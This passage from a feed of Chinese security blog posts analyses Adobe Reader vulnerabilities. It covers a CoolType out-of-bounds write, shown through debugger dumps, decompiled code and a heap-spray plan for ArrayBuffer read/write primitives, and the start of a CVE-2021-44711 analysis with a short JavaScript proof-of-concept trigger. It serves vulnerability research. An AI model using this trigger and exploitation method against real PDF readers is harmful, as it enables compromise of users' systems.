//转换后0x23个字符的WideChar字符串<br/>0b9aea08  003f0008 00010050 00010050 00010051<br/>0b9aea18  00010051 00010061 00010061 00010062<br/>0b9aea28  00010062 00510031 0054000f 0018007a<br/>0b9aea38  0052001d 00180001 0073006e 00740020<br/>0b9aea48  00730065<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">继续执行到<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">sub_800C383</code>，由于当前MultiByteSize小于WideCharSize * 2，会执行<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">memset</code>函数清空MultiByteStr：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:008&gt; pc<br/>eax=0000002e ebx=1306e8a8 ecx=c7dacb9e edx=0b9aea08 esi=00000046 edi=0b9aec3c<br/>eip=7240410d esp=0b9ae9e0 ebp=0b9aec0c iopl=0         nv up ei ng nz na po cy<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000283<br/>CoolType!CTGetVersion+0x58add:<br/>7240410d e87182ecff      call    CoolType!CTInit+0x8d93 (722cc383)<br/>0:008&gt; dps esp L4<br/>0b9ae9e0  1306e8a8  //MultiByteStr<br/>0b9ae9e4  0000002e  //MultiByteSize<br/>0b9ae9e8  0b9aea08  //WideCharStr<br/>0b9ae9ec  00000046  //WideCharSize * 2<br/>0:008&gt; dd 1306e8a8 Lc //原MultiByte字符串<br/>1306e8a8  5001d608 51015001 61015101 62016101<br/>1306e8b8  31016201 7a540f51 01521d18 20736e18<br/>1306e8c8  74736574 74747474 74747474 00007474<br/>0:008&gt; p<br/>eax=00000022 ebx=1306e8a8 ecx=7df11661 edx=00000000 esi=00000046 edi=0b9aec3c<br/>eip=72404112 esp=0b9ae9e0 ebp=0b9aec0c iopl=0         nv up ei pl nz ac po nc<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212<br/>CoolType!CTGetVersion+0x58ae2:<br/>72404112 83c410          add     esp,10h<br/>0:008&gt; dd 1306e8a8 Lc //执行函数后被清空<br/>1306e8a8  00000000 00000000 00000000 00000000<br/>1306e8b8  00000000 00000000 00000000 00000000<br/>1306e8c8  00000000 00000000 00000000 00000000<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">随后遍历被清空的MultByteStr，遍历的次数为转换后的WideChar的大小。当前MultByte的大小为0x2e，WideChar的大小为0x46。因此遍历到超过MultByte的大小时就造成了越界访问。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">LABEL_83:<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ( (_WORD)MultSize )<br/>    {<br/>      v44 = (_BYTE *)(EmptyMultByteStr + 1);<br/>      v45 = ~EmptyMultByteStr;<br/>      v51 = ~EmptyMultByteStr;<br/>      <span style="color: #c678dd;line-height: 26px;">do</span><br/>      {<br/>        <span style="color: #c678dd;line-height: 26px;">if</span> ( *(v44 - 1) || *v44 )  //POC崩溃处<br/>        {<br/>          <span style="color: #c678dd;line-height: 26px;">if</span> ( &amp;v44[v45] != (_BYTE *)offset )<br/>          {<br/>            *(_BYTE *)(EmptyMultByteStr + offset) = *(v44 - 1);<br/>            *(_BYTE *)(offset + EmptyMultByteStr + 1) = *v44;<br/>          }<br/>          offset += 2;<br/>        }<br/>        MultSize = *(unsigned __int16 *)a3;<br/>        v44 += 2;<br/>        v46 = (int)&amp;v44[v45] &lt; MultSize;<br/>        v45 = v51;<br/>      }<br/>      <span style="color: #c678dd;line-height: 26px;">while</span> ( v46 );<br/>    }<br/>    *(_WORD *)a3 = offset;<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> MultSize;<br/>  }<br/></code></pre><h2 data-tool="mdnice编辑器" style=" font-weight: bold;padding-top: 30px;padding-bottom: 30px;color: rgb(19, 92, 224); font-size: 20px; "><span style="display: none;"></span><span style="border-left: 4px solid;padding-left: 10px;">利用思路</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">该漏洞的利用方式和大部分越界写漏洞一致：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 2;">通过堆喷射ArrayBuffer对象制造MultByteStr大小的内存空洞</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 2;">触发漏洞，MultByteStr位于两个ArrayBuffer对象之间</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 2;">绕过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sub_800C383</code>的字符串长度校验，将WideChar的字符串覆盖临近ArrayBuffer对象的Length属性值，构造越界写原语</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);line-height: 2;">通过越界写原语修改下一个临近ArrayBuffer对象的Length属性为0xFFFFFFFF，构造任意地址读写原语</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">有了思路之后，首先需要确定控制MultByteStr大小的值位于POC中的位置，通过逆向可以得知该值通过一系列运算确定：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">int __thiscall GetMultStr(int this, __int16 a2, __int16 a3, __int16 a4, __int16 a5, unsigned __int16 *a6)<br/>{<br/>  int v7; // ebx<br/>  unsigned __int8 *OriginStr; // esi<br/>  __int16 v9; // cx<br/>  __int16 v10; // dx<br/>  unsigned __int16 MultiByteLength; // cx<br/>  int MultiByteStr; // esi<br/>  unsigned __int16 v14; // [esp+10h] [ebp-10h]<br/>  unsigned __int16 v15; // [esp+14h] [ebp-Ch]<br/>  unsigned __int16 v16; // [esp+18h] [ebp-8h]<br/>  unsigned __int8 v17; // [esp+1Eh] [ebp-2h]<br/>  unsigned __int8 v18; // [esp+1Fh] [ebp-1h]<br/>  v7 = 0;<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> ( !*(_DWORD *)(this + 8) )<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> 0;<br/>  OriginStr = *(unsigned __int8 **)(this + 0x18);<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> ( !*(_WORD *)(this + 0x14) )<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> 0;<br/>  <span style="color: #c678dd;line-height: 26px;">while</span> ( 1 )<br/>  {<br/>    v9 = *OriginStr;<br/>    OriginStr += 0xC;<br/>    v10 = *(OriginStr - 11) | (unsigned __int16)(v9 &lt;&lt; 8);<br/>    v16 = _byteswap_ushort(*((_WORD *)OriginStr - 5));<br/>    v15 = _byteswap_ushort(*((_WORD *)OriginStr - 4));<br/>    v14 = _byteswap_ushort(*((_WORD *)OriginStr - 3));<br/>    v18 = *(OriginStr - 2);<br/>    MultiByteLength = _byteswap_ushort(*((_WORD *)OriginStr - 2)); //获取MultiByteStr的长度<br/>    v17 = *(OriginStr - 1);<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ( a2 == v10 &amp;&amp; a3 == v16 &amp;&amp; a4 == v15 &amp;&amp; a5 == v14 )<br/>      <span style="color: #e6c07b;line-height: 26px;">break</span>;<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ( (unsigned __int16)++v7 &gt;= *(_WORD *)(this + 0x14) )<br/>      <span style="color: #e6c07b;line-height: 26px;">return</span> 0;<br/>  }<br/>  *a6 = MultiByteLength;<br/>  MultiByteStr = *(_DWORD *)(this + 4) + *(unsigned __int16 *)(this + 0x16) + (v17 | (v18 &lt;&lt; 8)); //获取MultiByteStr<br/>  <span style="color: #c678dd;line-height: 26px;">if</span> ( (unsigned __int8)((_DWORD (__stdcall *)(int, _DWORD))sub_801A99B)(MultiByteStr, MultiByteLength) )<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> MultiByteStr;<br/>  <span style="color: #c678dd;line-height: 26px;">else</span><br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> 0;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">确定MultiByteStr的长度后，会调用malloc函数申请大小为MultiByteStr长度加1的内存空间，并将MultiByteStr拷贝到该块内存中：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">while</span> ( 1 )<br/>  {<br/>    oldMultStr = (void *)GetMultStr(3, v13, (__int16)Src, a4, MultiByte);// 循环获取到str<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ( LOWORD(MultiByte[0]) )<br/>      <span style="color: #e6c07b;line-height: 26px;">break</span>;<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> ( ++v13 &gt; 0xA )<br/>      goto LABEL_22;<br/>  }<br/>  v14 = (void *)alloc(LOWORD(MultiByte[0]) + 1);// 调用malloc申请大小为MultiByteStr长度加1的内存空间<br/>  memcpy(v14, oldMultStr, LOWORD(MultiByte[0]));// 拷贝MultiByteStr到新申请的内存中<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">修改POC使得MultiByteStr的长度为0x10f，通过JS代码堆喷射大小为0x100的ArrayBuffer对象同时制造内存空洞，使得MultiByteStr位于两个ArrayBuffer对象之中，修改后的内存布局如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:009&gt; g<br/>Breakpoint 0 hit<br/>eax=0000010f ebx=0b5aea10 ecx=0b5aec3c edx=0000010f esi=1db0a4a0 edi=00000001<br/>eip=709bfcb0 esp=0b5ae838 ebp=0b5ae9d4 iopl=0         nv up ei ng nz ac pe cy<br/>cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297<br/>CoolType!CTInit+0x1c6c0:<br/>709bfcb0 55              push    ebp<br/>0:009&gt; dps esp+4 L7<br/>0b5ae83c  1db0a4a0<br/>0b5ae840  0000010f<br/>0b5ae844  0b5ae8f0<br/>0b5ae848  00000001<br/>0b5ae84c  00000000<br/>0b5ae850  00000001<br/>0b5ae854  00000000<br/>0:009&gt; dd 1db0a4a0 L(110*2+8)/4<br/>//----------------MultiByteStr---------------<br/>1db0a4a0  41004100 41004100 41004100 41004100<br/>1db0a4b0  41004100 41004100 41004100 41004100<br/>1db0a4c0  41004100 41004100 41004100 41004100<br/>1db0a4d0  41004100 41004100 41004100 41004100<br/>1db0a4e0  41004100 41004100 41004100 41004100<br/>1db0a4f0  41004100 41004100 41004100 41004100<br/>1db0a500  41004100 41004100 41004100 41004100<br/>1db0a510  41004100 41004100 41004100 41004100<br/>1db0a520  41004100 41004100 41004100 41004100<br/>1db0a530  41004100 41004100 41004100 41004100<br/>1db0a540  41004100 41004100 41004100 41004100<br/>1db0a550  41004100 41004100 41004100 41004100<br/>1db0a560  41004100 41004100 41004100 41004100<br/>1db0a570  41004100 41004100 41004100 41004100<br/>1db0a580  41004100 41004100 41004100 41004100<br/>1db0a590  41004100 41004100 41004100 41414100<br/>1db0a5a0  41414141 41414141 41414141 00414141<br/>//-------------------------------------------<br/>1db0a5b0  399fd8af 88009700 00000000 00000100 //Arraybuffer.ByteLength = 0x100<br/>1db0a5c0  00000000 00000000 ffffffff ffffffff<br/>1db0a5d0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a5e0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a5f0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a600  ffffffff ffffffff ffffffff ffffffff<br/>1db0a610  ffffffff ffffffff ffffffff ffffffff<br/>1db0a620  ffffffff ffffffff ffffffff ffffffff<br/>1db0a630  ffffffff ffffffff ffffffff ffffffff<br/>1db0a640  ffffffff ffffffff ffffffff ffffffff<br/>1db0a650  ffffffff ffffffff ffffffff ffffffff<br/>1db0a660  ffffffff ffffffff ffffffff ffffffff<br/>1db0a670  ffffffff ffffffff ffffffff ffffffff<br/>1db0a680  ffffffff ffffffff ffffffff ffffffff<br/>1db0a690  ffffffff ffffffff ffffffff ffffffff<br/>1db0a6a0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a6b0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a6c0  ffffffff ffffffff<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">执行完毕<code style="font-size: 14px;overflow-wrap: break-word;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;color: rgb(19, 148, 216);padding: 2px 6px;word-break: normal;">MultiToWide</code>函数后，临近Arraybuffer对象的长度被覆盖为0x410041：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib8f2zjA3gmeK7Br1wfNeySETA0ibJYIZO8icFCvWwjticYRpjyZhNM3gq05Lv38ZOgnAfM5h9ObZXKR6KicHbk1RWZ6/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:009&gt; dd 1db0a4a0 L(110*2+8)/4<br/>//----------------MultiByteStr---------------<br/>1db0a4a0  00410041 00410041 00410041 00410041<br/>1db0a4b0  00410041 00410041 00410041 00410041<br/>1db0a4c0  00410041 00410041 00410041 00410041<br/>1db0a4d0  00410041 00410041 00410041 00410041<br/>1db0a4e0  00410041 00410041 00410041 00410041<br/>1db0a4f0  00410041 00410041 00410041 00410041<br/>1db0a500  00410041 00410041 00410041 00410041<br/>1db0a510  00410041 00410041 00410041 00410041<br/>1db0a520  00410041 00410041 00410041 00410041<br/>1db0a530  00410041 00410041 00410041 00410041<br/>1db0a540  00410041 00410041 00410041 00410041<br/>1db0a550  00410041 00410041 00410041 00410041<br/>1db0a560  00410041 00410041 00410041 00410041<br/>1db0a570  00410041 00410041 00410041 00410041<br/>1db0a580  00410041 00410041 00410041 00410041<br/>1db0a590  00410041 00410041 00410041 00410041<br/>1db0a5a0  00410041 00410041 00410041 00410041<br/>//-------------------------------------------<br/>1db0a5b0  00410041 00410041 00410041 00410041 //Arraybuffer.ByteLength = 0x410041<br/>1db0a5c0  00000000 00000000 ffffffff ffffffff<br/>1db0a5d0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a5e0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a5f0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a600  ffffffff ffffffff ffffffff ffffffff<br/>1db0a610  ffffffff ffffffff ffffffff ffffffff<br/>1db0a620  ffffffff ffffffff ffffffff ffffffff<br/>1db0a630  ffffffff ffffffff ffffffff ffffffff<br/>1db0a640  ffffffff ffffffff ffffffff ffffffff<br/>1db0a650  ffffffff ffffffff ffffffff ffffffff<br/>1db0a660  ffffffff ffffffff ffffffff ffffffff<br/>1db0a670  ffffffff ffffffff ffffffff ffffffff<br/>1db0a680  ffffffff ffffffff ffffffff ffffffff<br/>1db0a690  ffffffff ffffffff ffffffff ffffffff<br/>1db0a6a0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a6b0  ffffffff ffffffff ffffffff ffffffff<br/>1db0a6c0  ffffffff ffffffff<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">此时已经具有了越界写的能力，再次修改下一个临近Arraybuffer的对象的长度为0xFFFFFFFF即可完成读写原语的构造，剩下的利用过程大同小异就不再赘述了。<span style="letter-spacing: 0px;">最</span><span style="letter-spacing: 0px;">终在Windows 10上完成了整个利用：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5567567567567567" data-s="300,640" style="" data-type="gif" data-w="1665" src="https://wechat2rss.xlab.app/img-proxy/?k=ecd3286d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3pMKYkVJQD60GNDN8NkmZFj0MFzsicldnGKUbsZU6ia7cyQhicS2J2ffMAoaKIicRBlUTNP8ocjk0dTToWfEzpNxicA%2F640%3Fwx_fmt%3Dgif"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><h2 data-tool="mdnice编辑器" style=" font-weight: bold;padding-top: 30px;padding-bottom: 30px;color: rgb(19, 92, 224); font-size: 20px; "><span style="display: none;"></span><span style="border-left: 4px solid;padding-left: 10px;">总结</span><span></span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;color: black;line-height: 2;">该漏洞为Adobe Reader越界写漏洞，由于解析字体将字符串转化为宽字节字符串时<span style="display: none;line-height: 0px;">‍</span>没有进行完整的校验导致越界拷贝，利用的难度不大且触发稳定。</p></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485315">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d88fb279&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247485315%26idx%3D1%26sn%3Dd0f672fa297007a3c676767d8d073931%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 07 Nov 2022 20:17:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2021-44711 Adobe Reader整数溢出漏洞分析与利用</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247485294&amp;idx=1&amp;sn=da82f99dcdc76010bce6addebf700352</link>
      <description>最近看到一篇CVE-2021-44711 漏洞分析文章，打算从该漏洞开始学习 PDF 类型漏洞的分析与利用，根据文章的分析思路写出 EXP。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Joey</span> <span>2022-09-09 16:41</span> <span style="display: inline-block;">北京</span>
</p>

<p>最近看到一篇CVE-2021-44711 漏洞分析文章，打算从该漏洞开始学习 PDF 类型漏洞的分析与利用，根据文章的分析思路写出 EXP。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7402d478&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD4XEztA830PFgtIOS0KzetXiaecfD6zNf438niaPY3sljNqtFDprvCQMibAZOXSS8KfVHp8RgySQmkjw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>前言</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最近看到一篇<span style="color: #1e6bb8;font-weight: bold;">Adobe Reader 漏洞 CVE-2021-44711 利用浅析</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>漏洞分析文章，打算从该漏洞开始学习 PDF 类型漏洞的分析与利用，根据文章的分析思路写出 EXP。分析使用的软件版本为：<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Adobe Acrobat Reader DC 2021.007.20099(x86)</code>。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>漏洞分析</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">漏洞通过 PDF 内嵌的 js 代码触发，POC 代码如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">var _obj = {};<br/>_obj[-1] = null;<br/>var _annot = this.addAnnot({page:0, <span style="color: #c18401;line-height: 26px;">type</span>:<span style="color: #50a14f;line-height: 26px;">&#34;Line&#34;</span>, points:_obj});<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">POC 非常简单，关键就在于 Annotation 对象的 points 属性原本应该由两个点<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">{[x1,y1],[x2,y2]}</code>组成的，代表 Annotation 对象直线的起点和终点。然而 poc 的代码将-1 作为下标，在进行类型转换时导致了越界访问造成漏洞。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">类型转换函数如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">//函数偏移：Annots.api+0x32EC6<br/><span style="color: #a626a4;line-height: 26px;">if</span> ( (int *)v11 != result )<br/>    {<br/>      <span style="color: #a626a4;line-height: 26px;">do</span><br/>      {<br/>        index_str = (char *)(*(int (__thiscall **)(_DWORD, _DWORD))(dword_22747430 + 0x1C))(<br/>                              *(_DWORD *)(dword_22747430 + 0x1C),<br/>                              *(unsigned __int16 *)(v11 + 0x10));<br/>        index_num = atoi_0(this_1, index_str);  // 转换字符下标为数字下标，将-1转化为0xffffffff<br/>        v26 = 0x30;<br/>        arraysize = v25[1] - *v25;<br/>        HIDWORD(v21) = *v25;<br/>        v22 = index_num;<br/>        <span style="color: #a626a4;line-height: 26px;">if</span> ( arraysize / 0x30 &lt;= index_num )    // 如果数组对象的数量小于当前下标的值，则重新分配数组大小，此时index_num为0xfffffff &gt; 0<br/>          resize(index_num + 1, var_11);     // 根据下标重新分配数组大小<br/>        sub_2212379A(v11 + 0x18);               // 类型转换<br/>        result = (int *)sub_2212A202(&amp;v23);<br/>        v11 = (int)v23;<br/>      }<br/>      <span style="color: #a626a4;line-height: 26px;">while</span> ( v23 != *v4 );<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">函数首先将字符下标 index_str 转换为数字下标 index_num，随后判断当前下标是否大于目前数组对象的数量（0x30 为单个数组对象的大小），如果大于则需要重新分配数组的大小。resize 函数接收下标+1 代表实际要访问的对象数量，resize 函数如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #383a42;background: #fafafa;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">unsigned int __thiscall resize(_DWORD *this, unsigned int index, int arg_4)<br/>{<br/>  unsigned int Array_Num; // eax<br/>  int target; // esi<br/>  Array_Num = (this[1] - *this) / 0x30;   //由于Array为空，因此Array_Num=0<br/>  <span style="color: #a626a4;line-height: 26px;">if</span> ( index &gt;= Array_Num )      //此时index为0，而Array_Num=0，因此直接返回当前数组大小为0<br/>  {<br/>    <span style="color: #a626a4;line-height: 26px;">if</span> ( index &gt; Array_Num )                    // 如果当前下标+1大于数组对象的数量，则需要重新分配数组大小<br/>    {<br/>      <span style="color: #a626a4;line-height: 26px;">if</span> ( index &lt;= (this[2] - *this) / 0x30 )<br/>      {<br/>        Array_Num = sub_2216FDF1(this[1], index - Array_Num);// 扩充array的大小符合index+1<br/>        this[1] = Array_Num;<br/>      }<br/>      <span style="color: #a626a4;line-height: 26px;">else</span><br/>      {<br/>        Array_Num = sub_2216FD0D(this, index, arg_4);// 检查index大于0x5555555时则抛出异常<br/>      }<br/>    }<br/>  }<br/>  <span style="color: #a626a4;line-height: 26px;">else</span><br/>  {<br/>    target = *this + 0x30 * index;<br/>    Array_Num = sub_2213A435(target, this[1]);<br/>    this[1] = target;<br/>  }<br/>  <span style="color: #c18401;line-height: 26px;">return</span> Array_Num;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当 index 